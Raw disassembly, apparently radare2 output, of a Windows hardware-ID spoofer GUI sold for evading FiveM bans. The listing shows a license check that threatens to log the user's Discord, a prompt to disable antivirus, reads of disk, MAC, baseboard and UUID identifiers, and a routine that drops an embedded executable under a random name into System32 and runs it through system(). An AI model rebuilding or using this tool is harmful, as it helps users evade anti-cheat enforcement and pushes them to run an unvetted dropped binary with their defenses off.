movsd qword [rsp + 0x28], xmm1
call fcn.14002eab0
test al, al
je 0x14005bbe9
mov edx, r12d
mov dword [0x14039a9fc], edx
jmp 0x14005bbef
mov edx, dword [0x14039a9fc]
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005bc18
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005bc1f
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14039a008]
lea r8, str.Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], esi
cmp edx, 2
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002eab0
test al, al
je 0x14005bc7d
mov edx, 2
mov dword [0x14039a9fc], edx
jmp 0x14005bc83
mov edx, dword [0x14039a9fc]
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005bcac
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005bcb3
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14039a008]
lea r8, str.One_Click_Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], r12d
cmp edx, 3
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002eab0
test al, al
je 0x14005bd0f
mov dword [0x14039a9fc], 3
call fcn.14002e790
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x2d0]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2d4], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2d0], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x2dc], xmm1
movss dword [rbp + 0x2d8], xmm0
call fcn.140005cf0
movss xmm3, dword [0x140177908]
lea rdx, [rbp + 0x218]
movss xmm2, dword [r8 + 0x3d60]
mov esi, eax
mov rcx, qword [r8 + 0x3d58]
lea rax, str.lean_services
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002ce20
movss xmm0, dword [rbp + 0x218]
movss xmm6, dword [rbp + 0x34]
addss xmm0, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [0x140398ce0]
movaps xmm2, xmm0
mulss xmm2, xmm12
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x218], xmm1
subss xmm2, xmm1
addss xmm2, xmm0
movaps xmm0, xmm6
addss xmm0, xmm8
movss xmm8, dword [rbp + 0x30]
mulss xmm2, xmm12
movss dword [rbp + 0x224], xmm0
addss xmm2, xmm8
movss dword [rbp + 0x220], xmm2
test esi, 0xff000000
je 0x14005bece
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm7, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005be75
mov r8d, 0x678
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r14b
lea rax, [0x140174f2d]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x220]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm7
lea rax, str.lean_services
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002d040
movss xmm7, dword [0x1401777f4]
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x2e0]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2e4], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2e0], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x2ec], xmm1
movss dword [rbp + 0x2e8], xmm0
call fcn.140005cf0
movss xmm3, dword [0x140177908]
lea rdx, [rbp + 0x228]
movss xmm2, dword [r8 + 0x3d60]
mov esi, eax
mov rcx, qword [r8 + 0x3d58]
mov qword [rsp + 0x30], r14
lea r14, str.First__Disable_your_Anti_Virus
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002ce20
movss xmm0, dword [rbp + 0x228]
movss xmm2, dword [0x140398ce0]
addss xmm0, xmm7
addss xmm6, dword [0x1401778ac]
cvttss2si eax, xmm0
movss dword [rbp + 0x234], xmm6
movaps xmm0, xmm2
mulss xmm0, xmm12
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x228], xmm1
subss xmm0, xmm1
addss xmm0, xmm2
mulss xmm0, xmm12
addss xmm0, xmm8
movss dword [rbp + 0x230], xmm0
test esi, 0xff000000
je 0x14005c073
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005c021
mov r8d, 0x678
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x140174f4e]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x230]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002d040
movss xmm2, dword [0x140398ce0]
mov rcx, qword [0x140399fa0]
lea r8, [rbp + 0x238]
movaps xmm0, xmm2
mov dword [rbp + 0x238], 0
mulss xmm0, xmm12
lea rdx, [rbp + 0x120]
xor r9d, r9d
mov dword [rbp + 0x23c], 0x41700000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x120], 0x438c0000
addss xmm0, dword [0x1401778dc]
mov dword [rbp + 0x124], 0x437a0000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
lea rcx, str.Container2
mulss xmm0, xmm12
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1401778bc]
addss xmm2, xmm0
movss dword [rax + 0x114], xmm1
movss dword [rax + 0x110], xmm2
call fcn.14002e2a0
xor esi, esi
mov dword [rbp + 0x128], 0x438c0000
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0x128]
mov qword [rsp + 0x30], rsi
lea r14, [0x140399fc0]
mov dword [rsp + 0x28], 0x8000
lea rdx, [0x140174f60]
lea r9d, [rsi + 0x32]
mov dword [rbp + 0x12c], 0x42200000
mov r8, r14
mov qword [rsp + 0x20], rax
lea rcx, [0x140174f64]
call fcn.14003acf0
lea rdx, [0x14039a0c7]
lea rcx, str.Remember_me
call fcn.140030ef0
lea rdx, [rbp + 0x130]
mov dword [rbp + 0x130], 0x438c0000
lea rcx, str.LAUNCH
mov dword [rbp + 0x134], 0x42200000
call fcn.14002f5b0
test al, al
je 0x14005c2ce
xorps xmm0, xmm0
mov qword [rbp - 0x70], rsi
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], rsi
mov r8, r13
inc r8
cmp byte [r14 + r8], sil
jne 0x14005c1d3
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.140031c80
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x410]
call fcn.140062190
mov rdx, rax
lea rcx, [0x14039a660]
call fcn.1400df4e0
cmp byte [0x14039a870], sil
je 0x14005c219
mov dword [0x140399fb4], r12d
jmp 0x14005c293
mov dword [rsp + 0x28], esi
lea r8, str.Invallid_Key_or_Wrong_HWID__your_discord_has_been_sent_to_the_log_
mov r9d, r13d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, r13
mov rcx, rax
call fcn.140134564
mov r9d, r13d
mov dword [rsp + 0x28], ebx
lea r8, str.Invallid_Key_or_Wrong_HWID__your_discord_has_been_sent_to_the_log_
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, 0x50
lea r8, str.ERROR
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call fcn.1401342b4
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005c2ce
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c2c9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005ecd7
call fcn.1401342b4
mov rcx, qword [0x140399fa0]
lea rdx, [rbp + 0x138]
movss xmm3, dword [0x140177908]
mov qword [rsp + 0x30], rsi
mov rax, qword [rcx + 0x4038]
movss xmm2, dword [rcx + 0x3d60]
mov rcx, qword [rcx + 0x3d58]
movss xmm6, dword [rax + 0x110]
subss xmm6, dword [rax + 0x28]
addss xmm6, dword [rax + 0x8c]
lea rax, str.Any_Problems__discord.gg_leanservices
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002ce20
movss xmm0, dword [rbp + 0x138]
mov rcx, qword [0x140399fa0]
addss xmm0, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [0x1401778d8]
movd xmm1, eax
mov rax, qword [rcx + 0x4038]
cvtdq2ps xmm1, xmm1
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
subss xmm0, xmm1
movss dword [rbp + 0x138], xmm1
movss xmm2, dword [rax + 0x28]
subss xmm2, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
mulss xmm0, xmm12
addss xmm0, xmm6
addss xmm2, xmm0
movss dword [rax + 0x110], xmm2
movss xmm1, dword [0x14039aa6c]
movss xmm0, dword [0x14039aa68]
movss dword [rbp + 0x244], xmm1
movss xmm1, dword [0x14039aa74]
mulss xmm1, dword [rcx + 0x38f0]
lea rcx, [rbp + 0x240]
movss dword [rbp + 0x240], xmm0
movss xmm0, dword [0x14039aa70]
movss dword [rbp + 0x24c], xmm1
movss dword [rbp + 0x248], xmm0
call fcn.140005cf0
movss xmm6, dword [0x14017778c]
lea rdx, str._Any_Problems_
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x58]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x58], xmm3
movups xmmword [rbp - 0x58], xmm3
call fcn.140036df0
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.140017ee0
movss xmm4, dword [0x14039aa88]
mov rax, qword [0x140399fa0]
lea rcx, [rbp + 0x250]
movss xmm1, dword [0x14039aa94]
movss xmm5, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa90]
mulss xmm1, dword [rax + 0x38f0]
movss dword [rbp + 0x250], xmm4
movss dword [rbp + 0x254], xmm5
movss dword [rbp + 0x25c], xmm1
movss dword [rbp + 0x258], xmm0
call fcn.140005cf0
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
lea rdx, str.discord.gg_leanservices
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x58]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x58], xmm3
movups xmmword [rbp - 0x58], xmm3
call fcn.140036df0
call fcn.14002e790
jmp 0x14005d9a7
lea eax, [rcx - 1]
cmp eax, r12d
ja 0x14005e117
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x260]
movss xmm8, dword [rbp + 0x34]
movss xmm7, dword [rbp + 0x30]
movaps xmm6, xmm8
addss xmm6, dword [0x140177898]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14039aad0]
movss xmm1, dword [0x14039aad4]
movss dword [rbp + 0x260], xmm0
movss xmm0, dword [0x14039aad8]
movss dword [rbp + 0x268], xmm0
movss xmm0, dword [0x140398ce0]
movss dword [rbp + 0x264], xmm1
addss xmm0, xmm7
movss xmm1, dword [0x14039aadc]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x144], xmm6
movss dword [rbp + 0x140], xmm0
movss dword [rbp + 0x26c], xmm1
call fcn.140005cf0
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x30]
movss xmm0, dword [0x140177918]
lea r8, [rbp + 0x140]
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.1400267d0
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x270]
movss xmm2, dword [0x140398ce4]
addss xmm2, xmm8
movss dword [rbp + 0x154], xmm6
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x14c], xmm2
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14039aad0]
movss xmm1, dword [0x14039aad4]
movss dword [rbp + 0x270], xmm0
movss xmm0, dword [0x14039aad8]
movss dword [rbp + 0x278], xmm0
movaps xmm0, xmm7
addss xmm0, dword [0x1401778b0]
movss dword [rbp + 0x274], xmm1
movss xmm1, dword [0x14039aadc]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x148], xmm0
movaps xmm0, xmm7
addss xmm0, xmm13
movss dword [rbp + 0x27c], xmm1
movss dword [rbp + 0x150], xmm0
call fcn.140005cf0
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x150]
movss xmm0, dword [0x140177918]
lea r8, [rbp + 0x148]
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.1400267d0
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x280]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x284], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x280], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x28c], xmm1
movss dword [rbp + 0x288], xmm0
call fcn.140005cf0
mov esi, eax
movss xmm3, dword [0x140177908]
lea rdx, [rbp + 0x110]
movss xmm2, dword [r8 + 0x3d60]
xor eax, eax
mov rcx, qword [r8 + 0x3d58]
mov qword [rsp + 0x30], rax
lea rax, str.lean_services
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002ce20
movss xmm0, dword [rbp + 0x110]
movss xmm2, dword [0x140398ce0]
addss xmm0, dword [0x1401777f4]
addss xmm2, dword [0x140177898]
cvttss2si eax, xmm0
movss xmm0, dword [0x140177894]
subss xmm0, dword [rbp + 0x114]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm12
movss dword [rbp + 0x110], xmm1
subss xmm2, xmm1
addss xmm0, xmm8
mulss xmm2, xmm12
movss dword [rbp + 0x15c], xmm0
addss xmm2, xmm7
movss dword [rbp + 0x158], xmm2
test esi, 0xff000000
je 0x14005c8d1
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005c880
mov r8d, 0x678
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x140174f2d]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x158]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.lean_services
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002d040
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm15
addss xmm0, dword [0x1401778c0]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.1400181c0
cmp dword [0x140399fb4], r12d
lea r8, [rbp + 0x160]
lea rdx, [0x140175028]
mov dword [rbp + 0x160], 0x42700000
sete cl
mov dword [rbp + 0x164], 0x42700000
call fcn.1400301d0
test al, al
je 0x14005c970
mov eax, r12d
mov dword [0x140399fb4], eax
jmp 0x14005c976
mov eax, dword [0x140399fb4]
cmp eax, 2
mov dword [rbp + 0x168], 0x42700000
lea r8, [rbp + 0x168]
mov dword [rbp + 0x16c], 0x42700000
sete cl
lea rdx, [0x14017502c]
call fcn.1400301d0
test al, al
je 0x14005c9b4
mov edx, 2
mov dword [0x140399fb4], edx
jmp 0x14005c9ba
mov edx, dword [0x140399fb4]
mov rcx, qword [0x140399fa0]
lea r8, [rbp + 0x170]
test edx, edx
mov dword [rbp + 0x170], 0x42700000
lea rdx, [0x140175030]
mov dword [rbp + 0x174], 0x42700000
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
sete cl
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x1401778e4]
movss dword [rax + 0x114], xmm0
call fcn.1400301d0
xor esi, esi
test al, al
je 0x14005ca32
mov dword [0x140399fb4], esi
call fcn.140018320
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1401778b4]
addss xmm0, dword [0x1401778a4]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov eax, dword [0x14039aa1c]
cmp eax, r12d
jne 0x14005dd6d
movss xmm0, dword [0x140398ce0]
lea r8, [rbp + 0x178]
movss xmm6, dword [0x1401778c4]
lea rdx, [rbp + 0x180]
movss xmm7, dword [0x1401778a8]
subss xmm0, xmm6
movzx r9d, r12b
mov dword [rbp + 0x178], 0x41900000
lea rcx, str.Container1
mov dword [rbp + 0x17c], 0x41900000
mulss xmm0, xmm12
movss dword [rbp + 0x180], xmm0
movss xmm0, dword [0x140398ce4]
subss xmm0, xmm7
movss dword [rbp + 0x184], xmm0
call fcn.14002e2a0
mov rax, qword gs:[0x58]
mov ebx, reloc.WS2_32.dll_recv
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x14039abf4], eax
jle 0x14005cb67
lea rcx, [0x14039abf4]
call fcn.140133fc0
cmp dword [0x14039abf4], r13d
jne 0x14005cb67
lea rcx, [0x14039ac88]
call fcn.1400622b0
lea rcx, [0x140139580]
call fcn.14013429c
lea rcx, [0x14039abf4]
call fcn.140133f54
cmp byte [0x14039aa08], 0
je 0x14005cb7e
lea rcx, [0x14039ac88]
call fcn.140031b50
jmp 0x14005cb85
lea rax, [0x1401653da]
mov rdx, rax
lea rcx, [0x140175034]
call fcn.140030b70
call fcn.140030a20
mov eax, dword [rbx + rdi]
cmp dword [0x14039ac40], eax
jle 0x14005cbdd
lea rcx, [0x14039ac40]
call fcn.140133fc0
cmp dword [0x14039ac40], r13d
jne 0x14005cbdd
lea rcx, [0x14039ac00]
call fcn.1400622b0
lea rcx, [0x140139510]
call fcn.14013429c
lea rcx, [0x14039ac40]
call fcn.140133f54
cmp byte [0x14039aa20], 0
je 0x14005cbf4
lea rcx, [0x14039ac00]
call fcn.140031b50
jmp 0x14005cbfb
lea rax, [0x1401653da]
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.140030b70
call fcn.140030a20
mov eax, dword [rbx + rdi]
cmp dword [0x14039aba8], eax
jle 0x14005cc53
lea rcx, [0x14039aba8]
call fcn.140133fc0
cmp dword [0x14039aba8], r13d
jne 0x14005cc53
lea rcx, [0x14039ac20]
call fcn.1400622b0
lea rcx, [0x1401394a0]
call fcn.14013429c
lea rcx, [0x14039aba8]
call fcn.140133f54
cmp byte [0x14039aa09], 0
je 0x14005cc6a
lea rcx, [0x14039ac20]
call fcn.140031b50
jmp 0x14005cc71
lea rax, [0x1401653da]
mov rdx, rax
lea rcx, str.Disk_C:
call fcn.140030b70
call fcn.140030a20
mov eax, dword [rbx + rdi]
cmp dword [0x14039ab98], eax
jle 0x14005ccc9
lea rcx, [0x14039ab98]
call fcn.140133fc0
cmp dword [0x14039ab98], r13d
jne 0x14005ccc9
lea rcx, [0x14039abb0]
call fcn.1400622b0
lea rcx, [0x140139430]
call fcn.14013429c
lea rcx, [0x14039ab98]
call fcn.140133f54
cmp byte [0x14039aa21], 0
je 0x14005cce0
lea rcx, [0x14039abb0]
call fcn.140031b50
jmp 0x14005cce7
lea rax, [0x1401653da]
mov rdx, rax
lea rcx, str.Disk_D:
call fcn.140030b70
call fcn.140030a20
mov eax, dword [rbx + rdi]
cmp dword [0x14039ab9c], eax
jle 0x14005cd3f
lea rcx, [0x14039ab9c]
call fcn.140133fc0
cmp dword [0x14039ab9c], r13d
jne 0x14005cd3f
lea rcx, [0x14039ac48]
call fcn.1400622b0
lea rcx, [0x1401393c0]
call fcn.14013429c
lea rcx, [0x14039ab9c]
call fcn.140133f54
cmp byte [0x14039aa18], 0
je 0x14005cd56
lea rcx, [0x14039ac48]
call fcn.140031b50
jmp 0x14005cd5d
lea rax, [0x1401653da]
mov rdx, rax
lea rcx, str.MAC:
call fcn.140030b70
call fcn.140030a20
mov eax, dword [rbx + rdi]
cmp dword [0x14039ab94], eax
jle 0x14005cdb5
lea rcx, [0x14039ab94]
call fcn.140133fc0
cmp dword [0x14039ab94], r13d
jne 0x14005cdb5
lea rcx, [0x14039abd0]
call fcn.1400622b0
lea rcx, [0x140139350]
call fcn.14013429c
lea rcx, [0x14039ab94]
call fcn.140133f54
cmp byte [0x14039a9f0], 0
je 0x14005cdcc
lea rcx, [0x14039abd0]
call fcn.140031b50
jmp 0x14005cdd3
lea rax, [0x1401653da]
mov rdx, rax
lea rcx, str.UUID:
call fcn.140030b70
mov rax, qword [0x140399fa0]
mov rcx, qword [rax + 0x4038]
movss xmm0, dword [rcx + 0x114]
subss xmm0, dword [rcx + 0x2c]
addss xmm0, dword [rcx + 0x90]
addss xmm0, dword [0x14017785c]
call fcn.140017f90
lea rcx, [rbp + 0x3e0]
call fcn.140018170
movss xmm2, dword [r14 + 0x38f8]
lea rdx, [rbp + 0x188]
addss xmm2, xmm15
mov dword [rbp + 0x18c], 0x41f00000
lea rcx, str.Serial_Checker
movss xmm0, dword [rax]
subss xmm0, xmm2
mulss xmm0, xmm12
movss dword [rbp + 0x188], xmm0
call fcn.14002f5b0
test al, al
je 0x14005cf56
lea rcx, [rbp - 0x80]
mov byte [0x14039aa08], r12b
call fcn.140055750
mov rdx, rax
lea rcx, [0x14039ac88]
call fcn.1400620d0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x80]
mov byte [0x14039aa20], r12b
call fcn.140055d50
mov rdx, rax
lea rcx, [0x14039ac00]
call fcn.1400620d0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x80]
mov byte [0x14039aa09], r12b
call fcn.140056a90
mov rdx, rax
lea rcx, [0x14039ac20]
call fcn.1400620d0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x80]
mov byte [0x14039aa21], r12b
call fcn.140056ab0
mov rdx, rax
lea rcx, [0x14039abb0]
call fcn.1400620d0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x80]
mov byte [0x14039aa18], r12b
call fcn.140055730
mov rdx, rax
lea rcx, [0x14039ac48]
call fcn.1400620d0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x80]
mov byte [0x14039a9f0], r12b
call fcn.140054ca0
mov rdx, rax
lea rcx, [0x14039abd0]
call fcn.1400620d0
lea rcx, [rbp - 0x80]
call fcn.140031b60
movaps xmm1, xmm15
movaps xmm0, xmm13
call fcn.140017ee0
lea rcx, [rbp + 0x3e8]
call fcn.140018170
movss xmm2, dword [r14 + 0x38f8]
lea rdx, [rbp + 0x190]
addss xmm2, xmm15
mov dword [rbp + 0x194], 0x41f00000
lea rcx, str.SPOOF
movss xmm0, dword [rax]
subss xmm0, xmm2
mulss xmm0, xmm12
movss dword [rbp + 0x190], xmm0
call fcn.14002f5b0
test al, al
je 0x14005d845
cmp byte [0x14039a0d4], 0
mov dword [0x140399fb4], 3
je 0x14005d286
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031bc0
mov r8d, 0x390a8
lea rdx, [0x1402271a0]
lea rcx, [rbp - 0x80]
call fcn.1400476b0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp + 0x50]
call fcn.140047540
lea rcx, [rbp + 0x90]
mov rbx, rax
call fcn.140047540
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rax
mov rdx, r14
lea rcx, [rbp + 0xe0]
call fcn.140063880
mov rdx, rax
lea r8, [0x140170b0c]
lea rcx, [rbp - 0x58]
call fcn.140063b30
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140063ba0
mov rcx, rax
call fcn.140031b50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140031b60
lea rcx, [rbp + 0xe0]
call fcn.140031b60
lea rcx, [rbp + 0x90]
call fcn.140031b60
lea rcx, [rbp + 0x50]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140047540
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140047540
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.140063880
mov rdx, rax
lea r8, [0x140170b0c]
lea rcx, [rbp + 0x90]
call fcn.140063b30
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140063ba0
mov rcx, rax
